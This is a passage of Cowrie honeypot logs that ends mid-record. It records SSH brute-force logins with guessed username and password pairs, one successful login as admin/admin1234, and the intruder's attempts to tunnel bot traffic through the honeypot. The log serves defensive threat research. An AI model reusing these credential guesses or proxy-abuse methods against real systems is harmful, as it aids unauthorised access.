{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":36428,"dst_ip":"159.203.135.109","dst_port":22,"session":"89ed2bc777fe","protocol":"ssh","message":"New connection: 49.247.37.22:36428 (159.203.135.109:22) [session: 89ed2bc777fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:18.962104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:18.966898Z","src_ip":"49.247.37.22","session":"89ed2bc777fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:19.178686Z","src_ip":"49.247.37.22","session":"89ed2bc777fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcASD123","message":"login attempt [root/zxcASD123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:20.045669Z","src_ip":"49.247.37.22","session":"89ed2bc777fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.2","message":"Connection lost after 23.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:21.244061Z","src_ip":"38.46.222.137","session":"51dc0260c80f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:21.259385Z","src_ip":"49.247.37.22","session":"89ed2bc777fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":57188,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc3e9fcb80f0","protocol":"ssh","message":"New connection: 2.99.213.222:57188 (159.203.135.109:22) [session: fc3e9fcb80f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:25.059290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:25.068110Z","src_ip":"2.99.213.222","session":"fc3e9fcb80f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:25.170228Z","src_ip":"2.99.213.222","session":"fc3e9fcb80f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jhpark","password":"jhpark","message":"login attempt [jhpark/jhpark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:25.623729Z","src_ip":"2.99.213.222","session":"fc3e9fcb80f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:26.728137Z","src_ip":"2.99.213.222","session":"fc3e9fcb80f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":50364,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d9c0bb5e8c5","protocol":"ssh","message":"New connection: 123.27.168.40:50364 (10.17.0.5:22) [session: 0d9c0bb5e8c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:30.649522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:30.654315Z","src_ip":"123.27.168.40","session":"0d9c0bb5e8c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.524829626083374,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:30.684470Z","src_ip":"172.81.62.90","session":"30eafdb66b0f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:30.962316Z","src_ip":"123.27.168.40","session":"0d9c0bb5e8c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.534870862960815,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:31.153423Z","src_ip":"172.81.62.90","session":"9a0dd75910c4","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:32.082571Z","src_ip":"123.27.168.40","session":"0d9c0bb5e8c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:32.467659Z","session":"0d9c0bb5e8c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:32.555924Z","session":"0d9c0bb5e8c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:32.829534Z","src_ip":"123.27.168.40","session":"0d9c0bb5e8c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_3_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 OPR/75.0.3969.285\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ViZVV0NHRzRJXih7L3pTXg%3D%3DOXBlymiY0SdAa0hvQy6YWj5cAkNIcrzyVSLJWyvC1jAn6EA0mNcL0mgR%2BjUhKE2HepjPwhAtLrhks%2FdjIoPKLgp4DBVTV%2FTNVQTf9zGmmxmjm7tFOl5aBPBvebR8shm5oi5pYX%2FJ5rIQtgVPTBROd31ExJE%2FHydKH96gEQrfPhKuiDwHYmwx4eSdhPSnkf%2B6QHRUtyKa4%2FJLojNIDTzzqGCjq30cYvaEq%2Fmo%2FLfNtGowCv48eNvP289Wp7hoAOC0yrTvIRqZdqihKv56YuIEEW22vpslp%2B1FRqnddJCccyAOTbf1mHOAKIsbKEDVuAH3IvuhVYcHeFVZz8wufIUEbQtnvjAMbTnBvL3uy2phjBcpCV17rjyVLR8T9gD2sw3lCaP70%2BqzDb70AE7619lzzEJN%2BMvC0k15fBmP6t78K%2FS2KgU7doSE1SbYLAb9Qb%2FPaC%2BWf%2BM%2BO5NwE0AQqtauQEUe57AJWGPOU6uhnDmgyoMH8k60cUAIgiCIVqlLiknZHHCxOqASWenv4M%2FJT892oTKQsg6aa37oUFYfpdHwt2SlyDCQ5tJT2b5X%2B1gZ7txw3rEpEFpAqDiU7o%2BghG22n8N%2BzuHt1ABWutr91Vekrsm0WNgFL%2B9CRcNFKamGHpvGHEwWdm%2FqKXm23WAQTCv%2FH2R%2BVFIRTVVZ96JlgI6WRvcFtJFmC8Jo4piLG1UKDKU8CK2KiFx46NsYznDCzE2%2FmRTVPp2s4XMNgI7xAj98Zo2rMxrs%2FOfWqIY3bkAAmQuTwBWH7jJgXomjWeCry5LP%2BK7eyZx4Hao21cDHDehbimZqsbF60JIIAYOlZSKsyOo%2FBnHj%2F6Co7w7rBnEmKZ%2FrwRSUrctZEwIuZeZwtsRoNu232K%2Fa%2BVu%2BvvvKVuMs2Rb931nJkCSHpMJ9yjvvfyx2f3eX5aaquSCOM5aSkejDHn50JMTJB2KIswFBHpTfc5HCtTbPmsvzIXC51BuRuWY4OVTYuQtbT%2F10w0dcw2%2BZga34msRtpS25LzKqyulSa1G3Om2C0BmOXk3nX9aHcwS8UfFdSgouC3qyOdRwbCN6DP58Q16I4nL0t0cqjeXRN1RA'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_3_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 OPR/75.0.3969.285\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ViZVV0NHRzRJXih7L3pTXg%3D%3DOXBlymiY0SdAa0hvQy6YWj5cAkNIcrzyVSLJWyvC1jAn6EA0mNcL0mgR%2BjUhKE2HepjPwhAtLrhks%2FdjIoPKLgp4DBVTV%2FTNVQTf9zGmmxmjm7tFOl5aBPBvebR8shm5oi5pYX%2FJ5rIQtgVPTBROd31ExJE%2FHydKH96gEQrfPhKuiDwHYmwx4eSdhPSnkf%2B6QHRUtyKa4%2FJLojNIDTzzqGCjq30cYvaEq%2Fmo%2FLfNtGowCv48eNvP289Wp7hoAOC0yrTvIRqZdqihKv56YuIEEW22vpslp%2B1FRqnddJCccyAOTbf1mHOAKIsbKEDVuAH3IvuhVYcHeFVZz8wufIUEbQtnvjAMbTnBvL3uy2phjBcpCV17rjyVLR8T9gD2sw3lCaP70%2BqzDb70AE7619lzzEJN%2BMvC0k15fBmP6t78K%2FS2KgU7doSE1SbYLAb9Qb%2FPaC%2BWf%2BM%2BO5NwE0AQqtauQEUe57AJWGPOU6uhnDmgyoMH8k60cUAIgiCIVqlLiknZHHCxOqASWenv4M%2FJT892oTKQsg6aa37oUFYfpdHwt2SlyDCQ5tJT2b5X%2B1gZ7txw3rEpEFpAqDiU7o%2BghG22n8N%2BzuHt1ABWutr91Vekrsm0WNgFL%2B9CRcNFKamGHpvGHEwWdm%2FqKXm23WAQTCv%2FH2R%2BVFIRTVVZ96JlgI6WRvcFtJFmC8Jo4piLG1UKDKU8CK2KiFx46NsYznDCzE2%2FmRTVPp2s4XMNgI7xAj98Zo2rMxrs%2FOfWqIY3bkAAmQuTwBWH7jJgXomjWeCry5LP%2BK7eyZx4Hao21cDHDehbimZqsbF60JIIAYOlZSKsyOo%2FBnHj%2F6Co7w7rBnEmKZ%2FrwRSUrctZEwIuZeZwtsRoNu232K%2Fa%2BVu%2BvvvKVuMs2Rb931nJkCSHpMJ9yjvvfyx2f3eX5aaquSCOM5aSkejDHn50JMTJB2KIswFBHpTfc5HCtTbPmsvzIXC51BuRuWY4OVTYuQtbT%2F10w0dcw2%2BZga34msRtpS25LzKqyulSa1G3Om2C0BmOXk3nX9aHcwS8UfFdSgouC3qyOdRwbCN6DP58Q16I4nL0t0cqjeXRN1RA'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:32.832610Z","src_ip":"123.27.168.40","session":"0d9c0bb5e8c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:33.058581Z","src_ip":"123.27.168.40","session":"0d9c0bb5e8c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03:\\x07\\x99\\xb1\\x7f\\x98b\\x9c\\xbbo\\xb2=\\xed\\xef\\t\\xf4\\xa8\\x7f\\xddN}\\x80\\x9f\\xb0\\xa8\\xdf\\x19'e\\xe3u\\xfb \\xc5\\xdfE\\x89*\\xf3\\xe0\\n\\xbe\\xab\\x9c\\xc0\\xa2\\xc6b\\xf0\\x8c\\x8bq\\xce\\x9a\\xedkm7\\xd8\\xa9\\x87\\x8eo\\xa6\\x15\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0b\\xae\\x87\\xa9&\\x9eS<\\x96\\x1c\\x9c\\x96A\\xbb&\\x96\\x99\\x8fA\\x8b\\xc3Nr\\xa2\\xfd\\xc2\\x80\\x19\\x92\\xffEK\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03:\\x07\\x99\\xb1\\x7f\\x98b\\x9c\\xbbo\\xb2=\\xed\\xef\\t\\xf4\\xa8\\x7f\\xddN}\\x80\\x9f\\xb0\\xa8\\xdf\\x19'e\\xe3u\\xfb \\xc5\\xdfE\\x89*\\xf3\\xe0\\n\\xbe\\xab\\x9c\\xc0\\xa2\\xc6b\\xf0\\x8c\\x8bq\\xce\\x9a\\xedkm7\\xd8\\xa9\\x87\\x8eo\\xa6\\x15\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0b\\xae\\x87\\xa9&\\x9eS<\\x96\\x1c\\x9c\\x96A\\xbb&\\x96\\x99\\x8fA\\x8b\\xc3Nr\\xa2\\xfd\\xc2\\x80\\x19\\x92\\xffEK\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:33.064470Z","src_ip":"123.27.168.40","session":"0d9c0bb5e8c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:33.518068Z","session":"0d9c0bb5e8c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:33.750540Z","src_ip":"123.27.168.40","session":"0d9c0bb5e8c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03q\\x14Z\\xceY\\x08|\\xd9\\xb2\\x16\\xc4Q\\xe2\\xa9Z\\xa6\\xa0\\x98\\xe3C\\x95\\xef\\xab#;\\x90\\xd9\\x02\\x0b\\xd7\\t{ =~=9_D\\x90\\x96\\xe7q\\\\7q\\x901\\x90\\xb8\\xa0\\xe6\\xa1\\xe3\\x86\\x8a\\xf0\\x02\\x04\\x04\\xb2\\xb6\\x0b\\xdb\\x14\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 